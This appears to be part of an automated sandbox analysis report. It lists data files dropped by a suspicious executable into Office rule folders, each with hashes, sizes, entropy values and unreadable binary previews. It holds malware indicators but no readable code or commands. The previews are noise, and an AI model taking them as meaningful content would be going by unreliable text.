Category:	dropped
Size (bytes):	1008
Entropy (8bit):	7.778033347243552
Encrypted:	false
SSDEEP:	24:2RV/sXMoxZvU1RNF9r0mICAZ8AJB7VoYWX1toc/HXq8uWbD:sV/sPZ8LFsCAZhVQXjosHXFuED
MD5:	ADCEEDAE7BB2F5586E80401F551A0E8A
SHA1:	80539F3C5F24505EC720E380990B8BF74AABC7B0
SHA-256:	9E7C67A3A320E65F2D13EC48158C0FD57CB3461AAC5A25D0C0C9270C282A13B2
SHA-512:	D7A008DC4B6117B684FF1894CF61BDAA9F44763240029709576580A4C4A1DBE0D60088917AE6F9D4A473A39CF7268CBE36A9CC6B52E9FC4840A39ED4573CFC72
Malicious:	false
Preview:	<?xml..&U..3...[..1..N...V....x..1...A..I-.~.4-..a.Kb.n.&7.!}gb.x]M.{..x.%C.\....@..E.R. .."T!...u..L.".,.M.`.........)...\.f..2....X......h..<."....jW...#........z.......\AR......&r.l..Q~.7.L...I.Y..A3.ai.M....B.GI..JJ...NrX]..H2)%...E....@...)._..`.<.d..+,.>.@.G.\|..S.......vw.Tn.[\|-.F.9@..@/.@.....Kw.hK.4/34..T....r..0L.....x.c.}/.L..L2..y...5=,"f.\..?.Y.)D....M.$..m..z.........LF....HR".E....<U..j.3..Y..az...../f..T..z~..+...R...e.`....`...J..G....... ..........nZ...vb_..........oN.>F....26.....t...'~.....0.le..d.....<.1F.qg....Y%.5........4.26an_y.#......U.]...6....{.-I........O..DzW8...mK.....7^z<.`d..2...`..;....dw!...<..Vtf.>.r..Ic}...3.ob..N..H7...V..@.....I.....v2.....h..;.I/.}..#......C&...As.Z.;.I.N.....;..F^.3..G;...x?O[PV;..U.Q-\O..tz.W...4VRdp..X.Q..L.3...Fy..HH..{z...tC..g.t....&...$..y.$#`...Z" M......g.......9.T M.1.?..T....O.I;......`.P.n.Y}.....m...1....doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170096v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.688704418741958
Encrypted:	false
SSDEEP:	12:iU+sZubmuQurq0aXTvwdhGFespeb+ZCpNs2mhW6mSFzVVi1gaOn/Mt8zXqOTuWcq:IC49qwdhGFtQs2X6LAgatAXq8uWbD
MD5:	E419CFCBBC2713F7A3690DDB7AD7EFF2
SHA1:	BBD444BA5B174978EC9946DDA373C975C19339D5
SHA-256:	3D789179C0D38BCECA4912DA9A47E52AD280F1A424925FFC7101BF94074ECD41
SHA-512:	C386F26F75C1BE6554E6C8E096186BD0A2D95D022D53EEEE04B4FB86B80EBE8A7F9C7DB33F739C2633500C7BFDDEFBDD0E7BAB796111174092E0AC65BE73A70E
Malicious:	false
Preview:	<?xmlG.YM.qDG.D.."..R..l.k_.P............G.......0...h+...NP...R.+._.C%..;.C.D.>....J.x[..xTXD.e....\|:.F`Kz..0?....mz...,.mV......u...5b.hN......?6d.:.......2..dx.A...o.W.}..B~..g.........;O.z.>d....Rr.xD.L.p...D.+w.-...A..]Re['`\A.....D....B...w.X.U3C....jt../.V...!....C-.(.x.M...oO.)u1...h.K#.J...f)i.[)...[...\. ....Z..#6...z..L@......p.....+..YE/H9.y.....0N..;.2=b.(..n.....Hv<+C\|........*..#k..P:...t'/.....~R`.......~....Ukz.>g.o[.4......1.LE.9I22........)..md..v.J.....V%^..I.u..#Lb.;.....'.R....3.T0.'....VH.7d..0.w+U.....I.++.. ...Lb.zlOu\....=Z)...mNm.m;.\|V..A./(1k....G.....{8.{e..'. ..b<.{8..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170097v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	793
Entropy (8bit):	7.722968929371545
Encrypted:	false
SSDEEP:	24:t/wyxYqbzdnIzp5AUmAXGZT0wX2DxCXJjbDWzXq8uWbD:t/piqbOzr1GZvmDxCXMXFuED
MD5:	CFD40CB9137E6FF26D35901CF699A046
SHA1:	512324F8DE4CBEEBC21A7AC5A6514DB8F9C61A24
SHA-256:	93A9149EEED85BC6B0A1A978CE5BAFDE6B97832A270765B0EE62CFF7E169F623
SHA-512:	6393EAFE791D8D98F4A98B9CB0A782CBE74B957E1D76E9E8F8E241A3F62A7D784ABD5DDAF823879073CD2F4E1D478868874FAF928BD0D0485C41039D41B325E2
Malicious:	false
Preview:	<?xml.@...'%L56..dip..XyQ.S#.......g`l...S...f`#.}..Z).K.Y.....$..da...e.A.~~...&~.0....a.)R..}.m.....N..U.....{..0..rO.v\|..I...(d..9...Xl.....E....`.M0.....i..^.k.......E..7..:qW.....w..g...i.0./7\|.w.l.b..N.j....eH..e.b_a....2[h...8..T#...+.+........E.....v,.5....L...V.I5.U.....3.c.6b..]...7....J...r....,.].0f^..*.......G.?.ngm..tNKmK...lE..+.e...+..E..OSr.P...g<........./"........+se....:Z`&..+N.S.e.)....8..9i1..6 .o..^...4..R......,}.....j.#...>..D.......p........x~.....z.)..R.PZF..2.c...&.+.~ ..,...s\i./...a../..=..~./.;V<...2...`..M..\|....I....aM.:.L....Qw@.(..3.....QX......J....a...F.N.fp...J.......;.B.H..f\.w.L5..O.).M...%.P.=/.Oj#..mp..4Y.A.........FG....[[u..i......xdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170098v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.748701419541403
Encrypted:	false
SSDEEP:	12:ef3vQE3430LE6CDXAAEf2q7mJV+7LvYjJWndvy5owNwiDoX0A/o8zXqOTuWcii9a:enQgi0Bbff7AKwlWgwLDoAXq8uWbD
MD5:	A6B5B8A1AC204A3D3C9F2DD2BF7F14FB
SHA1:	299E2E902EE732AE6A53A82EF685D51428E037B1
SHA-256:	4C65DE952B7D2702938F508FEEC5D203ECAFCFDE08966A628B473A3573050533
SHA-512:	050EFCEB9212FDE8FD5A956D1608DBE5FD6B44F707671D747B094C19E49946D6F8A8AF8F8BEE895D372FA77E10072F12D7028953721F9179CE2BBD79ACC7B4D7
Malicious:	false
Preview:	<?xmlk..=.G..I#..v..x.nj~bq..0..6..s\|g.$...d$Q"..xO.\....,!.r.ap..2.q.a.....d.....S.N.........n...~.e..'..W!w..4.._.....)..F.,.tM.hx...j.jq..R...z....}}...s..X...N:.l..3...Q.!..g.J*...X...t.........q....K..$..1...W..m.\.....;0..=.;.....rF].......T....\|Di..&....C..%"...\...'.......e...U.?..3..b..Z...a..7...qz..I]w.6=..)......d.di....K.}..',j`N...F..M\|^..P...........0.3h...^..DY.k...w.....7..&...8+.......G[......6,k..7..\X...f.i"v..IS............]p......B.`..5./...........9<W7../k...p.R.-.X...5.h....f..,.;.(..d.>w..:N)...^.).8....Tm......}.p...).H..MW.Pt...p(..Sq......T.t?.&.K.. E..5..&..v..}a A..v.pS.,>.FSZ...=.........c...N...Y.....E2g..h..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170099v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1306
Entropy (8bit):	7.8430904362351255
Encrypted:	false
SSDEEP:	24:T3fHjW3iDZemZPt3G4wJ71N714P0bV5n/nWClrlFcVAepOKxXXogRXq8uWbD:DC3iDZTlt8x/714PE5/T2RXFuED
MD5:	7D8AE973624DA062369D9510BA67BCBE
SHA1:	00D299080F3B72A08071C7E069406776D650F384
SHA-256:	75262EE75DBC0423E8386115CDB4831319E2C3345D6D1BED76772535C9626CC6
SHA-512:	590CA2E99E501698EB6FE7F93B5B279FBDA4BC534851891E6D0277FAD17EC9270C92FFA35F66B1E9ECEFB2CE62E25E02D4BCB832E105C6BE56A10543AF5D44D3
Malicious:	false
Preview:	<?xml....o...S.U..p1.\|{j..(bi.O.....).F...?wB../..fE.SU<j.c....fx..[.ny. .S`....SJ.`./F.x....~..NR5.;.a..j....GB.y&..5....m=..1.%..5>...........I.....xzJ H.jbmi>....X.....Fm...{."Tn........R[.^.V..IE.......h..\."_...BA~^w....^Q.@..._..b.#.i=....@S...&.MD.........[B..A.k...lQ".....R.......$......7.I.kv2a.5..d....(.cAT.u`.......r}EY...9.~.r'./x}.\|..6.u........$...&.u...1H%...};=&aH..6...9+.o.Z.c7.....w.4N.7....k...-.!.s..c..c..r..o...c..=...+.........hN+.D._Wu..f..v....e...:.XSH...nd.T...L_...u.D.9...=.M&.uL~G.g....O.z6W..t...p..K..C....V..V..ZK$Z....+...`........J..c.\.+.J......854.L...6O.^f.dI..im}/.:.....'..:.).=8"t_.2.../......eC.is..^&.4...s..mh.....H.,.m.S...Xg3gE.i*&......;..9ud.)..c)...P.q.........o.4..)D.H.%'..0...C+....1#..C.">...~v.C.qT.!jT...}%.....S.....U..0....(.d.."3.......A:sO...^la.v.]P{....Z..$g...y.....<...o.n..H.ep.{.@..RCv..0....f.......M2l_..eX.q.x.6D._=1HF..:?pD.5....#.....Rf.R#=....j.s.....x..hNj..s).].>:#~

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170103v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4285
Entropy (8bit):	7.953963673391325
Encrypted:	false
SSDEEP:	96:O2M5cepaygCi2hX+0iO8BS3gSDbrNXxw814uFuQ:O2MKe0hCXh78BSdD3NhwFQ
MD5:	30C1B3EB2988BA190536D1464E9D2871
SHA1:	5FEADAC366BB278EFE5C9C662A640F71CFC5DEE1
SHA-256:	630C078DD4D86E953D80E2B3A55F078EA7F5D68B9ED2145715ABA498A92C2130
SHA-512:	41DD11A75009D48DE13820CC1F26DE12CA4DCA0F4EEDABC8D71789BED9555790A7A98ABA923C0FAD77E488AC45C5D1C9FA58E785C5F2001A81063B4CD5E954E7
Malicious:	false
Preview:	<?xml.....!..N'[.Y3..a..,..^^Oh..$/.^\|m..... b.c...C.m........e..B.=.n.`Rz#...#L..y..Z.1.\..6SOq....kB.U...X...._m..C.{..u..m...b...p.d..A.Z/d.]....D .w.)..8.\|q.C.=d......VTQ.....e..bQ( .u.Z..ld....M......b....,bV... i.h......6..[>k. Z.2.5@..[#.91...}...o"..#..M.W&z..tY.<.....^...o.C...k....Yni.?.....a-..+.G..Q.K.v..z.....t.CWH.k;9C...}vTF..9...o......,..P\.$....w..-....g.......n{Je.,...x......!...8i...#...........$.<.o.u2...E...Vrz..P[..G`B.w.z-])p6...a............sm..7...{._..o..9.r.J....zB...O..#./)h.R......y.H..r^.`...y..0.~.....h. @.l...R..M..7..7\..@..$.6~G....BZ..T}...^.Eb:{k.:D......&f.E.}.6.$.....y.m....9.V.[..'._2'.$%......>.r#.).P..M..@..., ..H.0.^r.....d........0.l....=..x......}.......rn..u...$Wd8....G..a..t`.R..t..>..........&....g.:..t.:...*...m]Q..U...fZ....TX.Nb..&._O..Q+..KC..k..?...S.~.k......=.......S......#.....8;Y.....P..o..}....................P.]/....Q....Y.m.V./..K}G..I4.T..J...jF07.=.A.N..0S.;..`I.........X.3.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170104v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	7.717228990550809
Encrypted:	false
SSDEEP:	24:2bHrn4pWdN7EwxCZYVrfESlIeXO3rK6njvaRdeXq8uWbD:2zr4coFm6eO3tWRdeXFuED
MD5:	02B06756A467946A83A7E8B1A224B19D
SHA1:	36BC6D19F9BDD236A5F444D2128100764780DD71
SHA-256:	09DA84466643F70BF1966E2F5CE4FA4FFB21E65ECA25372684D90FAAA1E6B644
SHA-512:	BE74BA894F30A6B528E828AA4612FFAD8702F86936B064FE14776D0BA82B0FC6EDB4ACC1D6E306CE3D3907C8999E84342F54A421BBA59081C26B349755F95EE7
Malicious:	false
Preview:	<?xml..1f...90.).^..!.`.....q.^..!F!.."{.!...i..65..r..E..)..D.....w>..C....M..c.......!....d.x,.....Y..v.F.....c18.......L......j..s:.H....,.5.G,....]@........=.I......Ia.i7.c.0-g.GO.....AW.....%...r..w.......u%..IB......B.<...xM..\|7F0RC........EK....p.C..(.6..f..R/..(...9[dZ...Dj.=..!..6.`.ty..m.a..y...X...$."qP..........Y.. .Y..!...+W.@....~\>...YF.....{...&...0%..........i..&_.@...."..!.5.CkM...g..^U...M.C..6.[..W..hR..>..G;X/.fl:E..N.....\|...D..M#TR.=.t...C... .6.D..J..G ......B.^...'....tscR<.e..H.?....Pi...F..../3G.b..qs.2.......A..$..]J.q.....`R]......)ui...5.1.. j`....$R.YBZ.H...4E.Q.$F:...{~.P...!?..Dh..%.7inE..T.6w..s.3.$.Z..Z[..1..N!w/...jg.0..E.....!../.iq.x..#Y....\"f.&,.B..3..cip...S.->........?.U2%..?..4doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170105v3.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	929
Entropy (8bit):	7.77431141536817
Encrypted:	false
SSDEEP:	24:4PrzHtE9E6c0WcX5+LjI2g8rvSLY/nDnXakewj3Xq8uWbD:y1EazA+LE2v/nWij3XFuED
MD5:	0FE28C616B0C5B05BA0BF88DAD98BD0D
SHA1:	D2ABBF887D1779F3FE147E396F75C5C62DC40BA1
SHA-256:	FA7DB3D421F494E7E31511F5FB78BCFC379F68D397C6501AA13D7CE2C6D2A0E7
SHA-512:	19E4012AF8629940DCA0CB135C17DA1B0D4204EC8951BF11AE07EA03300C699607129D818CD9F76BC01F533433A60D98CE04FC0FB3AE88096415B5F4499BA50A
Malicious:	false
Preview:	<?xml...).../(.^..([6..{...,p....e)Y$.../.^P..'....8N.........%~].?..,.".S.m...l...W.........`!..{$.s%......T.x.i../..Y.8..8.2..W.M.f.x.?.\|.. .(.\..q...9.}..T........k.I../..I...3.eV61o8......<..8..Q.?.=...t.}..:.<..4%.....q.O.s46.b.....H....9.6<w..)53.H.4...:...4p.b....F'2...."S~..J.\| ...Z.aZOxE...........q.3..... .....9\|..L...m.+.~.D..O.8......-.V}".D".....G.^..T.q...t.....w...t.,.............Nw..w.m..]..m..p...2FeL.d.a..>.....c.E..._.G.B..7_.ZK..Z..'N.3r.\..T..?uaq...Z..r.5o.paO...g .%..-7K`..AQp...UH..7./]..nc...7.s.(.\..w..W).:+.n,:uv...}.....S.s.'Z.:*..m2!}..y......dl...g.....z....^.nO....A...F...s./D.v.?pb...d.q.3...7.-...u:>....)'...7..u........x?...A.....4.k?.....VMp...i...;.B...>o.....3...Y-.\.....".=.3.P.@.A....KZ7.A..$............)....M..2..W..LFf.]h,!#.C\|.2.T..&..,...~.F.Q.Fg.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170106v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	722
Entropy (8bit):	7.665754314974256
Encrypted:	false
SSDEEP:	12:9POti/U2Z04AwWWeIo2fabQR4CX5++VgkdwalDJCIRRCdUeRuLz88KXqOTuWciik:9POti7Z0T4eX2fZR4vNkdpBJ1CdqzDK5
MD5:	68E7CFF71A3CC35B11829F4BFB441140
SHA1:	C499B8FAB3A00D7CCF66DA95B5732749BBFB7366
SHA-256:	86C364E940F4E39661387CAECFC19BAECB725448C99DB6DEF00EEFCE685C1AF8
SHA-512:	03D1019CE1525DDCF3EC255AC94ECA94E6449876F1EB048B180267FDF2D0317D03D6BC90A0E5749116A153AF0BCF8AFC5573D175EEA753EDCF7949169B4AFF05
Malicious:	false
Preview:	<?xml.6v\|.. 8"a..;...r....E9G..c.u...K...h...UM...\|..s. .c.......a..F. ...x.0..{0..M.b......d.`&.x.SX$......"...Z...r..~..X.E.l...U..ga.(.s..~5./..ap+V#kN...!\|?.K<.I..:\..#2.......$.F...7.bb..SJV...SN.Z.\...IW.B....j..C...I...L1.....1...NS..../.).!..`sh...ig.wh...r&1.......bJ..P..aT.Ssn.4Z..V..A.sm..j..7.U~..Xd.w.`.t.yU.N....){./:C.b...U.A..Z..U....1R......+wU....n^.X.._.....y..../w.V7.B....!6.f..".10,...v.K.\.VJq..._.....SR.H._m...r..r8..L.-..${d.L.:w.~..u.{......'WC<....]..&..g..q.Dr:..4...(.tU..(;D.....Lg.;."...w.6?.S.......ms.D.m..N.....'.W.....]...n.Y......o...[.i.].[O.(zX.l.N.!.....T./......C.=doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170107v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.797742848189125
Encrypted:	false
SSDEEP:	24:xbKUbFF0HZGSiBZZAhjTvusP5rGzbrCjTOkzgSwR24KzXq8uWbD:RVWHaTAhOa5ryH9SXFuED
MD5:	41420576126342D20C208A0D15A0362E
SHA1:	7561706344EA499B7DB7DDE2A5E6B6B585A010C4
SHA-256:	5DCADD308D94271CA9BF2CAB42C08808E2A84433B1ADB878849BABA439590410
SHA-512:	FB3DD7E90D5E8667A47383DD9B626AFBD67A737E1E0D8A236B86D4568E89EB90BA33CB8EA4192DE74D4F0FA91AE3A784522184B66A6FEDE02E19CD9C6F495831
Malicious:	false
Preview:	<?xml..bo...w...G.~...y....[...4&H+.'..\|.i..6J.y..`..B.Ly.A$....vk.g....~....-<....4..<...@>.l.q7.,mW..<s.W...O2...t.9........_....Zj.p.=,.B..f.t$..o.8t.c..p..._.+:P]3.W:........~~.PL./.OV..W.+..MjD.....L...z..{B.p..).L.D{.B.H.A........x`.T.......Z...k.....!......k....3\._....,1.1..q.X.v..1...l.+.....o\L@w.;;..I.K...eq..8e(.#.......H......n...U...K.M.....P..H..s...3&.?.Ia^.....m..Z...R(..Du%.N0Ox_.T.\|e.7:........1+...d2..q.4n..V..Pel.Tb.F...X.O..2...."`G..v.........A._T'........ .)Z..Y>.Ie.....B.d.[I.l._..]8.O.."....-t....AV...GJ.....5R..wO... ....<..;=.b..,. G.q..Jh.5.)....E`._..<...U.}W.r7........]y".@.w.T......k......4f.".(....~b...F...L."W^..g..\|..!./....!I..e..E..".Hc....M.B....^..b.q...T....nh....2.G..g....D.....P&J......W...$`?.W...H-.I....d........_..jT..$A /......Z.b..d..H...2.........doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170110v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1357
Entropy (8bit):	7.842775452907329
Encrypted:	false
SSDEEP:	24:yMnZA4rcbzevl8FIycDBRrU5F9VoQ7JtS+9l3EMNh5l/VYRuXq8uWbD:y+y/avOFd2nrIw+HUM7NxXFuED
MD5:	00F587E06518DC47D6E65613D84FCB6D
SHA1:	5D579B34452E8E115EAB9D7614D7DC3FDF7C99E5
SHA-256:	4233A5CDC8DE0B87D5BB4DCCB36993FF67090B3BD74153B71F41E8C8403989FD
SHA-512:	633619D6AA77180DA89815924FA1A8F840B4B515032EB83DBB2873176BB30729967BC769BD9810DB7B7C749CB74E235F23B35CDA3A722E9A0DDBCA7DD33199B6
Malicious:	false
Preview:	<?xml..\|hl)e.9.[..n..1...o.....R..eo8v..+b.S...o.%'b..........W.....s+X$.....~`....bv..}.k(}..d..,O>.v...y...I\R.....m..x....l....U.I.. .>.gvn44./8....Eg....`.s)...y.....I..!=.'.d.i.g...M8......eM...g..R..S7.....e"...bR.K%.\=.y,.....1...]SD.\|...}....r...7.5b.o..#....I..\.AY........u.yvhI$..k.i..~.;..u.D.+!..IA3...ko..I..!..+.a.lM.S.R.q._..7u......$.ys.R.F.z],._94\@.....g.:...R.....t..'.u.j....MF....Q..,.l?....q~/..Q.......o.`}_.0(/.i.s.......#Go...mG..5Iz.}.{$.....g&.......R.@v..M....Gf..\Y.s.O).........=...%.......\.....[\...V9"".Z.."....E.?.'..'.......^+..Me.....!..h..b.?........HW!7.T..h.R..70.X.G...g[..".b.2...2......$...x......{t.-......SeM..,....!.^...._..\|Jw.$0...6.s..ax!q`.x......E..F.../[b.~DN..}[..y....u.^k,.......Ymhdo.........\|..'..........:k.*..p.{c......sy....\|.9.W..A.....?.......O. P....g.Z.s.U-..zWVNf..0.LdZ0...5.B .6b.4.Q......<.&0..ec.0.z)..n...(..7..m=7.d...`.....r.5B].s....R..`...l..#.q0.%.$.^....%..{_v

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170111v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.821592053650896
Encrypted:	false
SSDEEP:	24:qyJD3qVFPQZAsTpnrKf9h3Bm/l83aozMWjL0GKGwXq8uWbD:qyZ3o+5uL3QoJ30GdwXFuED
MD5:	E73CA8380FFDB1874D473CBB601E01AD
SHA1:	326F09E705514B8ED85BC2C6B9E7CA5118C4F9B6
SHA-256:	B1C6D76401B8027DCA990F9C8D2481CB231209CD867068B910454217A2E5A8C2
SHA-512:	07327156F51494B1E54DFDC4FE8A2C7666F32B9867AFA89ECE969BADAEC06EEF89524253B2E7411C910AD902BD268E36C91714C7C4825894E7279C933D24D644
Malicious:	false
Preview:	<?xml.Nf......6E....Y.V.#...;#......D..qN...l..w].p0...%Rl.2~.Y.....LQ....I.....j. \.......h.....0MI...n\|.....3?.....}^..8....wK.J+K..[...`........N...(.o......R.........)...n........I.....1^..NBUL...<..X-...[.(2......\...........7=.E...j.d.Y{.F.$-...hu.p..x:z.EY."....N..\.($...k!..pB@......,.2...6\o.l~.8v.Rt^...P.I......NE.......DJ.....+M...d.4.&.).k"hR?#T.m.v.7...I.Pa.g.?.\|.,.Y...f......p.R.j...@>..u.VH.J.D.d.%....U..j..y.A..k{VrD.pi.. ..y...1i15 Ku.^rL.q....u."E.........q%,..cEXZy!...~V........'...C..,/@.'...Gwys....W..S1...@...4....T..m.7.].@...{..0.b%(.H...x.#..Sx[.=.............\......eg.@.A....Lc.\|.F..v%...\|.?.+.c.......u....p..<$X.S..D..-..5..j.\|.~.@..s..z."j.\|F.3D..K0........v.M...*2....!j..{......r......).$.J.....0.......=..bN...S.bW1...)..~...I.>29..>.$.......=V...5."...@C6.....1.Ou,.?C.....,.....lm;.(:;..R..C'.....n.j....q[.R%...K.Q5....>_(...W....\|....al.igG...ZI.p..\..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170112v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	943
Entropy (8bit):	7.769880912202802
Encrypted:	false
SSDEEP:	24:uZND3SiwHFH26PQNdeUhU4TSD0SkMkENwzXq8uWbD:aD3wHFLPW0UhD2LkEcXFuED
MD5:	E4F42192E2457F767EEA85A68F710347
SHA1:	70B39EEE59242FD7C1BCE55A67D0D8F3D1ECB17B
SHA-256:	E9B2BC0846FB136621F7896B4EF8093501FA7DFC8DE419286DF8C7F92DD7961A
SHA-512:	594B2122812C7AE48F243EDCECA6D8F80775593EB16C522E46287F052B6663C965D7825A719B732B99CFB7BF7535CC5B2FEB08E88DE9BA28E474F7C49CB4D28E
Malicious:	false
Preview:	<?xml..-....`..,.....a...[....7.L#/..uZS........;9......K.s,H=......@..D.v.}...X........@Mf....:.,...AR..Vi....v9,Q.....R........J.Bm.vQc.i.....i.i..+...VIa.)..u..0..+..B..$.H.^..._..dQ.;..d....Cr#\|.o.$9._..C....\G8.j.6.A...`Hw4.nz)..Y.vl.q.`yH...e.z...&K.....?....4..]C....}..4j&S.Jw-....V^X..xeF.&.;q...T.$..v,..Q#..rN.)4.....}...W.<q.]Q..NU...+..3wK.X...^3...V...A..f.\|K2..2Ef...8.lk@MzR\|...,.... PI=_E.chM.mg.z.C.\|..7Q......'....6.G4[.n\e...#.M..m...1u:6.."PQ..Vkz.F...7+N. Q...:.f.=~L.c.YnJL....z..8....\L...V..r..\.........1.......8.GLo...a~.bMTH.g\|.+....{....<...Xm.O.k..iA~.}9(W...p.....=..]..K..zK....H!.n%...K:<....w...z......4...p1ZMC=rC...\|..\".....u.[.'S...%z.%(_.....l.S....k.v..5..e7...:Zj2.X...5..\|f.i..,.YP.x...B..Z.......^6..s$p,p........h..B....O.z/%I{.uA+.=k.....j...,#;..eb?....t$.FM;!.Ou".oM..j#...bD.c.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170113v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.6766016389060034
Encrypted:	false
SSDEEP:	24:YI7S8Vu3uWRk43RotuA1hVXKtKEKXq8uWbD:YCauM3jthKXFuED
MD5:	ADC30AC93178D525E816733DD324AB3F
SHA1:	39372981692062816B4CE643F106D456A1FEE164
SHA-256:	7EE146BD74F9000D3D056E43D57383D6ECC562AA319F19C442F2559E4B85BC53
SHA-512:	A8A0595CDC1EAE1A6198F59CB914941EA700E2702AE557D51A09DB70A49ED9ADC6DE05A9A3F750D3E0388850E99CB5D36AF5C5E6DE45B37CA55367197F16237F
Malicious:	false
Preview:	<?xml....`.]{.X..z..I"...<.z...i.w.JM.......B.0...wNBc.L.b.3.\.8........)2..... ...8.....W(.i.#o...y.).:.~\..n.7....\|.\|+.P...B.q....e.}.B.....G....X.S..Q..[...0Z..q.../0.+.N@....z2X%<P..d......U.]l..#.Y.t.G....@..P.....?..Tv..B..b.u..'\|=......&3..@.....M<..J.8....c...+.0.....Z..G..2.x.x..U1..+9...e\x..p$......,..l{.X.1......URL..F...>.K.S.+.3....fd.......i4.b{........D!O.wb....G8G... ..Ibi.s]...C.}~.\6.}...C.....i......?....+.S..E.}-....&./7.U.w...VW'.o....\|.Tw.j...s.j.6....7...2vt...~.P.?.x....W.j.V.c.o...R..j/4...@R.!.%X.raU.8&...o-W...C....X?.0.E.)...7..../(.%.. ..6..K.8`6...T..\.......A.O.l..h.M....."J....K.?..c..=3..)tlTc..4.k..{.h][.Z..w}.x..i....?@...7U.....o@....S.n.DAdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170114v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1156
Entropy (8bit):	7.82136499474017
Encrypted:	false
SSDEEP:	24:OyJgsEqWkmTm2bvrVWoDmmHD3w0kzl4K5zTdmyP9GsXq8uWbD:HxWkUmJoDyzljTE07XFuED
MD5:	CF6F286EF228EDF5C6CEFB3F80988376
SHA1:	50F925E488A7E929EDD67C55C6DD90590CB31AA0
SHA-256:	1DFBD0650F72E89B1349BD37F0A9E3C5CDBDAC270ABB83A501DF74A18CF25B56
SHA-512:	D9A3D9D3C8B68DBD3AA479A6E46BFD98F80BAADBBC1EEA92E9EF50AB815FD1148F830C8A2F5AA84ED395B543EB3DFAA7271E12803F4B8D4081088EA2A17471AD
Malicious:	false
Preview:	<?xml..<....x&..z.V..Oa......8.d.......~.a...)&...d.w..%..7..~.Qy..?.(.B.....Z...2..6...$......i...`..CE.U.f....C.....6b..f.y.2......tx....Q..U...:J....xR.G..........U.P@_U.......9.R....c.........a..o..:..a..~...k..\|.h4p.....`.g}H.k`.7.+.fi....K..c....t..9.w.}...yS..........H.....Rr....H0..:..g.d.....1..y.z./.D.S.....x9.0/....9..}O.OT..[...(..n.p.:<..[......_....B...I...9..\|.F.g~f....R..........FW5.}.;..~...Z....T..wB....U$.[..X........>REPn............K....vY[9...K.>S.t()G......UF..._.z.T..Q...or..\| .'.i..m..~X....U....1Rn..O...r.L...\f...~".<>b9..-.....Z....B..G....b...^...?w..S?/.S.....V.5..2.....].B.x...hG.F..3u8K..z.6l.soqU.fC2...f....^{&...\..J..\|.fe...6"...p...@....9...m4..g..0.X.$.."J..P........rizs....M.m....._.e1.........W..)S..q....c>"..M.B.....r~.v;..W.z....D....m\|S..^)l.x.#.=\T.\.`lYacd.nE..}i..%...0..\|....\|..JMR.....5.~{.<.........3\|.. 